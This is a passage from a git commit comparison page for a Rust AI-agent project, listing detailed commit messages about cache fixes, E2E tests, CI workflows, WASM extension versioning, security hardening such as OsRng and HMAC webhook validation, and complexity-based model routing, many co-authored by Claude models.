Compare commits

...
Author SHA1 Message Date
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
e1d364c636 chore: release v0.16.0 (#595)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-06 15:40:02 +00:00
7806273aa6 Fix(llm): complete response cache — set_model invalidation, stats logging, sync mutex (#290)
* fix(llm): complete response cache — set_model invalidation, stats logging, sync mutex

# Conflicts:
#	src/llm/response_cache.rs

* fix(llm): address response cache review comments

- Add total_hit_count AtomicU64 that is never decremented on eviction;
  maybe_log_stats now uses this counter so hit_rate_pct stays accurate
  under high eviction pressure
- Log cache stats before returning on provider error so milestone
  intervals (every 100 requests) are never silently skipped
- Add tracing-test dev-dep and three new tests: total_hits_survives_eviction,
  stats_logged_at_request_100, stats_logged_on_provider_error_at_interval
- Update PR description to reflect actual set_model() behavior (key
  isolation, not cache clear)

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-06 08:36:42 +00:00
26d274ac79 fix(llm): fix reasoning model response parsing bugs (#564) (#580)
Three related fixes for reasoning model artifacts (GLM-4/5, DeepSeek R1, Qwen3):

1. reasoning_content no longer leaks into tool-call assistant messages
   in nearai_chat — only used as fallback for final text responses.

2. plan() and evaluate_success() now apply clean_response() before JSON
   parsing, preventing <think> tag prefixes from breaking plan/eval.

3. Unclosed <think> before <final> no longer discards the answer —
   the strict discard path now extracts <final> content first.

8 regression tests added.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-03-06 08:29:30 +00:00
b425213c53 feat(e2e): extensions tab tests, CI parallelization, and 3 production bug fixes (#584)
* feat(e2e): extensions tab tests, CI parallelization, and 3 bug fixes

## E2E test coverage
- Add tests/e2e/scenarios/test_extensions.py with 57 tests covering all
  extensions tab flows: installed WASM tool/MCP/channel cards, configure
  modal (open, fields, cancel, save, OAuth, error), auth card (token,
  OAuth, submit, cancel, error, multi-extension coexistence), activate
  flow, install/remove flows, WASM channel stepper states, and tab reload
  behaviour. All network calls intercepted via page.route() — no real
  binaries or external registries needed.
- Expand tests/e2e/helpers.py with 50+ new CSS selectors for the
  extensions tab UI.
- Add tests/e2e/README.md documentation on the page.route() mocking
  pattern, LIFO handler ordering, and page.evaluate() injection.

## CI parallelization
- Split .github/workflows/e2e.yml into a build job (compile once,
  upload artifact) and a 3-way parallel test matrix (core / features /
  extensions), matching the pattern in test.yml. Reduces wall-clock time
  from ~15–20 min serial to ~10–12 min. Adds an e2e roll-up job for
  branch protection.

## Bug fixes in app.js (found via test-driven code review)
- Fix null crash: renderExtensionCard() called ext.tools.length without
  a null guard; add ext.tools && check (regression: test_ext_tools_null).
- Fix modal UX: submitConfigureModal() closed the overlay before checking
  success, making failures unrecoverable without reopening; close only on
  success, re-enable buttons and keep modal open on failure
  (regression: test_configure_modal_stays_open_on_save_failure).
- Fix URL injection: all window.open() calls for server-supplied auth_url
  now go through openOAuthUrl() which rejects non-HTTPS schemes
  (regression: test_oauth_url_injection_blocked).

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor(e2e): prune extensions tests 57→46 by merging redundant setups

Merge 11 tests that shared identical fixture+navigation overhead:
- Group A: 3 empty-state tests → test_extensions_empty_tab_layout
- Group B: card_renders absorbs ext_tools_list_shown (same _WASM_TOOL fixture)
- Group B: auth_dot_unauthed + unauthed_shows_configure_btn → test_installed_wasm_tool_unauthed_state
- Group D: installed + configured states → test_wasm_channel_setup_states (identical UI)
- Group D: failed_state + stepper_failed_circle → test_wasm_channel_failed_renders
- Group G: 5 field badge tests → test_configure_modal_field_variants (4 fields, one pass)
- Group H: submit_success + enter_key_submits → test_auth_card_submit_success

Coverage preserved: all assertions kept, no unique behaviors removed.
Extensions CI job estimated to drop from ~7 min to ~5 min.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(e2e): fix configure_input selector scoping in merged field variants test

modal.locator(".configure-modal input[type='password']") scoped the absolute
selector inside .configure-modal, effectively searching for a nested
.configure-modal which never exists → count() == 0. Use page.locator()
instead, consistent with all other tests in the file.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(e2e): address PR review comments — replace fixed sleeps with deterministic waits

- Remove unnecessary wait_for_timeout(1000) from test_remove_cancelled_keeps_card
  (window.confirm = () => false is synchronous; DOM is unchanged when click() returns)
- Replace wait_for_timeout(800) with wait_for_function() for window._lastOpenedUrl
  checks in configure_modal_save_oauth and activate_with_auth_url_opens_popup
- Replace wait_for_timeout(300) with nth(1).wait_for(visible) in
  test_auth_card_multiple_extensions_coexist
- Remove wait_for_timeout(800/300) in test_auth_card_submit_empty_noop and
  test_auth_completed_sse_dismisses_card (both check synchronous JS side-effects)
- Add comment in test_oauth_url_injection_blocked explaining why timeout is kept
  (negative assertion — cannot use wait_for_function for absence of event)

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(e2e): address remaining PR review comments

- Remove unused `import pytest` from test_extensions.py
- Fix unawaited coroutine bug: convert lambda route handlers to async def
  in test_extensions_tab_reloads_on_revisit and
  test_auth_completed_sse_triggers_extensions_reload (lambda r: r.fulfill(...)
  returns an unawaited coroutine; requests silently fell through to real server)
- Fix README.md example to use async def handler (same bug in docs)
- Harden openOAuthUrl() in app.js: use URL constructor instead of
  .startsWith() so non-string server-supplied values (objects, null, etc.)
  are safely rejected rather than throwing TypeError

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(e2e): address second round of PR review comments

- Add timeout-minutes to CI build job to prevent hung workflows
- Use parsed.href instead of raw url in openOAuthUrl for safety
- Remove unused MessageEvent variable in auth_completed test
- Replace wait_for_timeout(800) with expect_response in activate test
- Replace wait_for_timeout(300) with tab panel wait_for in reload test

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-06 08:27:38 +00:00
37bba72397 test: add 29 E2E trace tests for issues #571-575 (#593)
* test: add 29 E2E trace tests for worker, threading, tools, workspace, and routines (#571-575)

Add comprehensive E2E test coverage across five test files:
- e2e_worker_coverage (7 tests): parallel tool calls, error feedback, unknown tools,
  invalid params, rate limiting, iteration limits, planning mode
- e2e_thread_scheduling (3 tests + 2 deferred): multi-turn state, undo/redo, concurrent dispatch
- e2e_builtin_tool_coverage (8 tests): time parse/diff/invalid, routine CRUD/history,
  job create/status/list/cancel, HTTP replay
- e2e_workspace_coverage (6 tests): chunked search, multi-doc search, hybrid search,
  directory tree, document lifecycle, identity in system prompt
- e2e_routine_heartbeat (5 tests): cron triggers, event matching, cooldown enforcement,
  heartbeat findings, empty checklist skip

Infrastructure: extend TestRig with database/workspace/trace_llm accessors, register
job and routine tools by default, add with_extra_tools() for custom stub tools.

Includes 24 JSON trace fixtures across worker/, threading/, tools/, and workspace/.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use 6-field cron format in routine_create_list fixture

The cron 0.13 crate accepts both 6 and 7 fields, but the routine_create
tool documents 6-field format. Align the fixture to match.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: eliminate vacuous passes and silently-skipped assertions in E2E tests

- job_create_status: replace job_status (needs dynamic UUID) with list_jobs,
  assert both succeed via completed() not just started()
- job_list_cancel: keep cancel_job but explicitly assert it fails with
  invalid canned job_id "latest", verify create_job + list_jobs succeed
- unknown_tool_name: add !is_empty() guard before .all() to prevent
  vacuous pass on empty iterator
- workspace tests: change `if let Some(ws)` to `.expect()` so assertions
  are never silently skipped when workspace/trace_llm is available

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add template substitution to TraceLlm for dynamic tool result forwarding

Add {{call_id.json_path}} template syntax to trace fixtures, enabling
tool results from one step to flow into subsequent steps' arguments.
TraceLlm extracts variables from Role::Tool messages (stripping the
safety layer's <tool_output> XML wrapper and unescaping entities) and
substitutes them in canned tool_call arguments before returning.

This fixes job_create_status and job_list_cancel tests to properly test
job_status and cancel_job with real dynamic UUIDs from create_job,
instead of using invalid canned IDs that silently failed.

Also adds tool result content assertions to job_create_status to verify
the actual tool output contains expected data (job_id, title).

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on E2E tests

- undo_redo_cycle: assert exactly 3 turns instead of >= 2
- tool_error_feedback: use tempfile::tempdir() instead of hardcoded /tmp path,
  patch fixture path at runtime for CI portability
- worker_timeout → iteration_limit: rename to accurately describe what's tested
- post_plan_work_remaining → simple_echo_flow: rename, test doesn't exercise planning
- identity_in_system_prompt: seed IDENTITY.md before test, assert system prompt
  contains the seeded content instead of just checking Role::System exists

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: strengthen workspace E2E test assertions per PR review

- write_chunk_search: assert memory_search was called and returned
  payment/architecture-related results
- multi_document_search: assert memory_search was called for
  cross-document search
- hybrid_search_with_embeddings: assert both memory_write and
  memory_search were called to confirm write-then-search pipeline
- directory_tree: assert tree output contains expected alpha/beta
  project paths

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-06 08:12:56 +00:00
2df9602d56 fix(ci): fix three coverage workflow failures (#597)
* fix(ci): fix three coverage workflow failures

1. Migration ordering: glob `V*.sql` sorted V10 before V1 (ASCII '0' < '_').
   Use `sort -V` for correct numeric ordering.

2. Missing WASM channels: telegram_auth_integration tests need the Telegram
   WASM binary. Add wasm32-wasip2 target, cargo-component, and
   build-wasm-extensions.sh to both coverage and e2e-coverage jobs
   (matching test.yml).

3. E2E shell quoting: `cargo llvm-cov show-env` outputs shell-quoted values
   (KEY='value') but GITHUB_ENV expects unquoted KEY=value. Strip single
   quotes with sed before appending.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(ci): address PR review feedback on coverage workflow

- Migration loop: use readarray + printf | sort -V instead of $(ls)
  to avoid word-splitting on filenames
- cargo-component install: check if already installed first, don't
  mask failures with || true
- show-env quote stripping: use targeted regex to strip only wrapping
  quotes (KEY='value' -> KEY=value) instead of removing all quotes

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: skip telegram_auth_integration tests when WASM module not built

Replace panicking assert! with a require_telegram_wasm!() macro that
gracefully skips tests when the Telegram WASM binary hasn't been compiled.
This ensures the test suite passes across all configurations (with and
without wasm32-wasip2 target), while still running the tests in CI where
the WASM channels are built.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: panic in CI when telegram WASM module missing, skip locally

- require_telegram_wasm!() now checks the CI env var: panics in CI
  (so a broken WASM build step fails loudly) but skips locally
- fs::read error now includes the file path for better diagnostics

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-06 05:59:01 +00:00
06c84a5c77 test: add 26 tests for multi-thread safety, db CRUD, concurrency, errors (#442)
* fix: use std::sync::RwLock in MessageTool to avoid runtime panic

The `requires_approval` method is synchronous but was using
`tokio::sync::RwLock` with `.await` which requires blocking the
runtime. This caused a panic:
"Cannot block the current thread from within a runtime"

Changes:
- Replace `tokio::sync::RwLock` with `std::sync::RwLock` for
  `default_channel` and `default_target` fields
- Use `unwrap_or_else(|e| e.into_inner())` to gracefully handle
  poisoned locks (recovers instead of panicking)
- Update all usages from `.read().await` to `.read().unwrap_or_else()`

The locks are short-held (just cloning strings), making std::sync::RwLock
appropriate for sync methods called from async contexts.

Fixes: "Cannot block the current thread from within a runtime" panic
when the LLM tries to send a message via the message tool.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: comprehensive testing improvements and fix MessageTool blocking_read panic

Fix tokio::sync::RwLock::blocking_read() panic in MessageTool::requires_approval()
under multi-threaded tokio runtimes by switching to std::sync::RwLock with poison
recovery. Add 26 new tests across 4 tiers:

Tier 1 - Multi-thread runtime safety:
- Fix MessageTool to use std::sync::RwLock instead of tokio::sync::RwLock
- 4 multi-thread tests for MessageTool::requires_approval() scenarios
- 1 multi-thread test for HttpTool credential-dependent approval
- 1 structural test exercising all core tool sync trait methods under multi-thread runtime

Tier 2 - Database CRUD coverage:
- Settings lifecycle (CRUD, bulk ops)
- Tool failure tracking (record, broken list, repair)
- Routine lifecycle (create, get, list, update, delete, runs)
- LLM call recording
- Sandbox job lifecycle (create, get, update, list, mode)
- Job events (save, list, limit)
- Estimation snapshot round-trip

Tier 3 - Concurrency:
- ToolRegistry concurrent register + read under 4-worker runtime

Tier 4 - Error coverage:
- Display tests for all 8 error variants
- From conversion tests for top-level Error enum

Supersedes the fix in PR #411 with the same bug fix plus comprehensive test coverage.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: remove trailing whitespace in registry.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Jerome Revillard <[email protected]>
Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-03-06 04:39:04 +00:00
04c5c3fe9f feat: WASM extension versioning with WIT compat checks (#592)
* feat: add WASM extension versioning with WIT compat checks and CI enforcement

Phase 1 — WIT Versioning & Compatibility Checks:
- Version WIT packages as `package near:[email protected];`
- Add `semver` crate for version parsing and comparison
- Add `WIT_TOOL_VERSION` / `WIT_CHANNEL_VERSION` host constants
- Add `version` and `wit_version` fields to capabilities schemas
- Add `wit_version` column to `wasm_tools` DB table (both backends)
- Add load-time `check_wit_version_compat()` with semver rules
- Add `IncompatibleWitVersion` error variants for tools and channels
- Enhance instantiation errors with WIT version mismatch hints
- Update all 14 capabilities JSON and 14 registry JSON files

Phase 2 — Upgrade-in-Place & Channel DB Storage:
- Change tool store to DELETE-before-INSERT (one version per extension)
- Create `wasm_channels` table (PostgreSQL migration + libSQL schema)
- Add `WasmChannelStore` trait with PostgreSQL and libSQL backends
- Add `extension_info` tool showing version, WIT version, and status
- Wire `ExtensionInfoTool` into tool registry (7 extension tools)

Phase 3 — CI Version-Bump Enforcement:
- Add `scripts/check-version-bumps.sh` checking WIT/tool/channel versions
- Add `version-check` CI job (PR-only) to `.github/workflows/test.yml`
- Support `[skip-version-check]` label/commit message bypass

Includes 7 regression tests for WIT version compatibility checking
and 2 integration tests for WIT version annotation verification.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback for WASM extension versioning

- Wrap PostgreSQL DELETE+INSERT in transactions for both tool and channel
  store() methods to prevent data loss on partial failure (Gemini, Copilot)
- Rename StoredWasmChannelWithBinary.tool → .channel (copy-paste fix)
- Remove unused WasmError::IncompatibleWitVersion variant (dead code)
- Map channel loader WIT mismatch to IncompatibleWitVersion instead of
  generic Config error, simplify variant to single String message
- Fix extension_info description to match actual returned fields
- Add schema test for ExtensionInfoTool matching existing test pattern
- Fix CI script to fail fast on git errors instead of silent bypass

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-06 04:38:07 +00:00
Nick PismenkovandGitHub a516e92156 fix: Telegram channel accepts group messages from all users if owner_… (#590)
* fix: Telegram channel accepts group messages from all users if owner_id is null

* fix linter

* fix tests

* fix tests

* fix tests in ci
2026-03-06 04:35:43 +00:00
Henry ParkandGitHub de7f503df9 fix(ci): anchor coverage/ gitignore rule to repo root (#591)
coverage/ matched tests/fixtures/llm_traces/coverage/, causing
release-plz to detect committed+ignored files and abort on every push
to main. PR #561 has been stuck with only 1 changelog entry since v0.15.0.

Anchor the rule to the repo root with /coverage/ so it only ignores the
top-level coverage report directory generated by cargo llvm-cov, not
nested fixture directories.

[skip-regression-check]
2026-03-06 04:16:09 +00:00
github-actions[bot]GitHubgithub-actions[bot] <github-actions[bot]@users.noreply.github.com>Henry Park
fe4c3c5fe6 chore: update WASM artifact SHA256 checksums [skip ci] (#560)
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
Co-authored-by: Henry Park <[email protected]>
2026-03-06 04:13:49 +00:00
Nick PismenkovandGitHub 14de4c1b57 feat: Add HMAC-SHA256 webhook signature validation for Slack (#588)
* feat: Add HMAC-SHA256 webhook signature validation for Slack

* review fixes
2026-03-05 19:27:10 -08:00
2d332f12f0 feat(tools): add Google Discovery API URLs to WASM tool descriptions (#585)
Add Google Discovery Service URLs to all 6 Google WASM tool
descriptions so the LLM can fetch full API documentation on demand
using its built-in HTTP tool. Discovery API is public and requires
no authentication.

URLs added:
- Gmail: googleapis.com/discovery/v1/apis/gmail/v1/rest
- Calendar: calendar-json.googleapis.com/$discovery/rest?version=v3
- Drive: googleapis.com/discovery/v1/apis/drive/v3/rest
- Docs: googleapis.com/discovery/v1/apis/docs/v1/rest
- Sheets: googleapis.com/discovery/v1/apis/sheets/v4/rest
- Slides: googleapis.com/discovery/v1/apis/slides/v1/rest

[skip-regression-check]

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-05 19:20:29 -08:00
46218ec794 test: add WIT compatibility tests for WASM extensions (#586)
* test: add WIT compatibility tests for all WASM tools and channels

Adds CI and integration tests to catch WIT interface breakage across
all 14 WASM extensions (10 tools + 4 channels). Previously, changing
wit/tool.wit or wit/channel.wit could silently break guest-side tools
that weren't rebuilt until release time.

Three new pieces:

1. scripts/build-wasm-extensions.sh — builds all WASM extensions from
   source by reading registry manifests. Used by CI and locally.

2. tests/wit_compat.rs — integration tests that compile and instantiate
   each .wasm binary against the current wasmtime host linker with
   stubbed host functions. Catches added/removed/renamed WIT functions,
   signature mismatches, and missing exports. Skips gracefully when
   artifacts aren't built so `cargo test` still passes standalone.

3. .github/workflows/test.yml — new wasm-wit-compat CI job that builds
   all extensions then runs instantiation tests on every PR. Added to
   the branch protection roll-up.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix rustfmt formatting in wit_compat tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on WIT compat tests

- Switch build script from python3 to jq for JSON parsing, consistent
  with release.yml and avoids python3 dependency (#1, #7)
- Use dirs::home_dir() instead of HOME env var for portability (#2)
- Filter extensions by manifest "kind" field instead of path (#3)
- Replace .flatten() with explicit error handling in dir iteration (#4, #5)
- Split stub_tool_host_functions into stub_shared_host_functions +
  tool-only tool-invoke stub, since tool-invoke is not in channel WIT (#6)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-06 02:36:59 +00:00
6a2a6cd050 fix(security): use OsRng for all security-critical key and token generation (#519)
* fix(security): use OsRng for all security-critical key and token generation

Replace rand::thread_rng() with rand::rngs::OsRng in all security-critical
code paths that generate cryptographic key material, bearer tokens, PKCE
verifiers, CSRF state parameters, and webhook secrets. thread_rng() uses a
userspace CSPRNG (ChaCha) seeded from OS entropy, which is fine for
non-security contexts but adds an unnecessary intermediate layer for
key material where direct OS entropy (OsRng) is the correct choice.

Files changed:
- src/secrets/keychain.rs: master encryption key generation
- src/secrets/crypto.rs: per-secret HKDF salt generation
- src/orchestrator/auth.rs: per-job bearer token generation
- src/channels/web/mod.rs: gateway auth token fallback
- src/cli/oauth_defaults.rs: OAuth PKCE verifier and CSRF state
- src/tools/mcp/auth.rs: MCP OAuth PKCE verifier
- src/extensions/manager.rs: auto-generated extension secrets
- src/setup/channels.rs: webhook secret generation

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(security): address PR review feedback for OsRng migration

- Remove shadowing inner `use rand::rngs::OsRng` in `generate_salt()`;
  use module-level `aes_gcm::aead::OsRng` import instead (same type,
  avoids divergence risk if rand_core versions drift)
- Fix missed callsites in `pairing/store.rs`: `random_code()` and
  `generate_unique_code()` now use `OsRng` for pairing auth codes
- Add regression tests for `generate_salt()`: correct length,
  non-zero output, uniqueness across calls

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-06 02:36:38 +00:00
df49b17d0f fix: prevent concurrent memory hygiene passes and Windows file lock errors (#535)
* fix: prevent concurrent memory hygiene passes and Windows file lock errors (#495)

The heartbeat system spawns hygiene passes via tokio::spawn on every
tick, creating a TOCTOU race where multiple tasks read the state file
before any saves, causing all to execute concurrently. On Windows this
also triggers OS error 1224 (file locked by memory-mapped section)
when multiple tasks call std::fs::write on the same file.

Three fixes:
- AtomicBool guard (RUNNING + RunningGuard RAII) ensures only one
  hygiene pass runs at a time
- State file is saved before cleanup (not after) to claim the cadence
  window early and close the TOCTOU race
- Atomic file write (write to .tmp then rename) avoids Windows
  file-locking errors from concurrent writers

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add Mutex to serialize tests touching global RUNNING AtomicBool

Address PR review feedback: the running_guard_prevents_reentry test
manipulates a global static AtomicBool, which could cause flaky
failures if future tests also touch it and run in parallel. A test-only
Mutex ensures serialization.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-06 02:23:11 +00:00
c87525d81f fix: sort tool_definitions() for deterministic LLM tool ordering (#582)
* fix: sort tool_definitions() for deterministic LLM tool ordering

HashMap iteration order is non-deterministic, causing the LLM to receive
tools in different orders across calls. Sort alphabetically by name to
eliminate position bias in tool selection.

Closes #566

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor: use sort_unstable_by for tool definitions ordering

Stable sort is unnecessary since tool names are unique. Unstable sort
avoids the overhead of preserving equal-element order.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: repair bad merge in registry.rs (missing closing brace and test attribute)

The merge of main into fix/sort-tool-definitions dropped the closing `}`
of test_tool_definitions_sorted_alphabetically and the `#[tokio::test]`
attribute on test_retain_only_filters_tools, causing an unclosed delimiter
parse error that failed all CI jobs.

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-06 02:20:56 +00:00
Nick PismenkovandGitHub 9ae04f14e3 feat: restart (#531)
* feat: restart

* review fixes

* add IRONCLAW_IN_DOCKER env variable

* review fixes

* fix tests

* set default value as false
2026-03-05 17:12:49 -08:00
470de5bd2d feat: merge http/web_fetch tools, add tool output stash for large responses (#578)
* feat: merge http/web_fetch tools, add tool output stash for large responses

Merge `web_fetch` into `http` tool with smart approval: plain GETs (no
headers, no body) run without approval and follow redirects with SSRF
re-validation per hop; all other requests require approval as before.

Add `tool_output_stash` on JobContext so full tool outputs are preserved
before safety-layer truncation. The `json` tool gains a
`source_tool_call_id` parameter to reference stashed outputs, enabling
reliable parsing of large API responses that exceed the 100KB context
limit.

Other improvements:
- Descriptive User-Agent header using CARGO_PKG_VERSION
- Truncation now keeps partial data + hint about source_tool_call_id
- System prompt reinforces tool_calls over narration
- json tool query/stringify handle pre-parsed (non-string) data

[skip-regression-check]

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* chore: delete dead web_fetch.rs (merged into http tool)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix rustfmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: rename shadowed data binding for clarity in json tool

Address PR review: rename owned `data` to `data_value` before
re-binding as `let data = &data_value` to make ownership explicit.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(ci): mark network-dependent trace tests as #[ignore]

The weather_sf and baseball_stats tests hit live external APIs (wttr.in,
ESPN) which are unreliable in CI. Mark them #[ignore] so they don't
block the pipeline. Run locally with `--ignored` to include them.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: replay recorded HTTP exchanges in trace tests instead of hitting live APIs

Wire ReplayingHttpInterceptor into TestRig when the trace fixture
contains http_exchanges. This replays recorded responses instead of
making live network calls, making tests deterministic and CI-stable.

Add captured HTTP responses to weather_sf.json (wttr.in) and
baseball_stats.json (ESPN API) fixtures.

Revert #[ignore] on both tests — they now run offline.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: recover inline bracket-format tool calls from LLM text responses

When flatten_tool_messages converts tool calls to text like
`[Called tool `http` with arguments: {...}]` for NEAR AI compatibility,
the LLM sometimes echoes this format back in its text responses instead
of using proper tool_calls. Add recovery for this bracket format in
recover_tool_calls_from_content and strip it in clean_response so
users don't see raw tool call syntax.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-06 00:49:10 +00:00
69cddb10fd feat: integrate 13-dimension complexity scorer into smart routing (#529)
* feat(llm): add smart model routing based on request complexity

Automatically selects optimal model tier (flash/standard/pro/frontier) for each
request based on 13-dimension complexity scoring:

- Reasoning words, multi-step signals, code indicators
- Domain-specific terms, creativity, precision
- Safety sensitivity, tool likelihood, question complexity
- Token estimate, context dependency, sentence complexity

Features:
- Pattern overrides for fast-path routing (greetings → flash, security audits → frontier)
- Configurable tier-to-model mappings (defaults to -latest aliases)
- Thinking mode per tier (pro: low, frontier: medium)
- User-configurable pattern overrides
- Zero-config for default benefits, full control for power users

Expected cost savings: 50-70% vs always-using-frontier baseline.

Refs: smart-routing-spec.md

* fix(routing): address Gemini Code Assist review feedback

- Add tracing warnings for invalid tier/regex in user overrides (router.rs)
- Use unreachable!() for tier hint match since regex enforces valid tiers (scorer.rs)
- Refactor weighted total to array iteration for maintainability (scorer.rs)
- Add TODO for making domain keywords configurable (scorer.rs)

Refs: PR #208

* feat(routing): make domain keywords configurable

- Add ScorerConfig with optional domain_keywords field
- Add DEFAULT_DOMAIN_KEYWORDS constant (exported for reference)
- Add domain_keywords to RouterConfig for top-level configuration
- Build domain regex at runtime from config, fallback to defaults
- Add score_complexity_with_config() function
- Add test for custom domain keywords

Users can now provide project-specific keywords:

  RouterConfig {
      domain_keywords: Some(vec!["mycompany".into(), "myproduct".into()]),
      ..Default::default()
  }

Addresses Gemini Code Assist review feedback on PR #208.

Tests: 20/20 passing

* docs: add domain_keywords to routing config example

* feat: integrate 13-dimension complexity scorer into smart routing (takeover #208)

Folds the 13-dimension complexity scorer and pattern overrides from PR #208
into the existing SmartRoutingProvider, replacing the simpler keyword-based
classifier. Adds 4-tier system (Flash/Standard/Pro/Frontier), configurable
scorer weights, domain keywords, regex pattern overrides, tier hints, and
multi-dimensional boost. Removes separate routing/ directory and lazy_static
dependency in favor of std::sync::LazyLock. Includes 44 tests covering all
scoring dimensions, tier boundaries, pattern overrides, and provider routing.

Co-Authored-By: onlyamicrowave <[email protected]>
Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address review feedback on smart routing PR (#529)

- Cache compiled domain regex in SmartRoutingProvider (built once at
  construction, not per-request) and add score_complexity_with_regex() API
- Check explicit tier hints before pattern overrides so user intent wins
  (e.g. "[tier:flash] security audit" routes as Flash, not Frontier)
- Trim input before matching/scoring so trailing whitespace doesn't break
  anchored override regexes or skew token-length scoring
- Fix token estimate comment (>=520 chars = 100, not >500)
- Update spec: check implementation plan boxes, fix file paths, add note
  that llm.routing YAML schema is target design (current config uses env vars)
- Add regression tests for tier hint precedence and trimmed greeting matching

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: restore Cargo.lock from main to fix html_to_markdown test

The lockfile was fully regenerated during the PR #208 merge conflict
resolution, which bumped html-to-markdown-rs from 2.25.1 to 2.27.2.
The new version produces different output that breaks the golden-file
snapshot test. Restore the original lockfile from main — lazy_static
was never in main's lockfile, so no further changes needed.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address second round of review feedback (#529)

- Tighten quick-lookup override regex with end anchor to prevent matching
  complex questions like "What time complexity is merge sort?"
- Handle empty domain keywords list by falling back to defaults instead of
  producing a broken regex that matches empty strings everywhere
- Clarify spec architecture diagram: current impl uses 2-provider split
  (cheap/primary), per-tier model mapping is target design
- Add regression tests for both fixes

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Microwave <[email protected]>
Co-authored-by: Joe <[email protected]>
Co-authored-by: onlyamicrowave <[email protected]>
Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-05 09:14:07 +00:00
b4b19738a8 Trajectory benchmarks and e2e trace test rig (#553)
* refactor: extract shared assertion helpers to support/assertions.rs

Move 5 assertion helpers from e2e_spot_checks.rs to a shared module.
Add assert_all_tools_succeeded and assert_tool_succeeded for eliminating
false positives in E2E tests.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add tool output capture via tool_results() accessor

Extract (name, preview) from ToolResult status events in TestChannel
and TestRig, enabling content assertions on tool outputs.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: correct tool parameters in 3 broken trace fixtures

- tool_time.json: add missing "operation": "now" for time tool
- robust_correct_tool.json: same fix
- memory_full_cycle.json: change "path" to "target" for memory_write

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add tool success and output assertions to eliminate false positives

Every E2E test that exercises tools now calls assert_all_tools_succeeded.
Added tool output content assertions where tool results are predictable
(time year, read_file content, memory_read content).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: capture per-tool timing from ToolStarted/ToolCompleted events

Record Instant on ToolStarted and compute elapsed duration on
ToolCompleted, wiring real timing data into collect_metrics() instead
of hardcoded zeros.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: add RAII CleanupGuard for temp file/dir cleanup in tests

Replace manual cleanup_test_dir() calls and inline remove_file() with
Drop-based CleanupGuard that ensures cleanup even if a test panics.

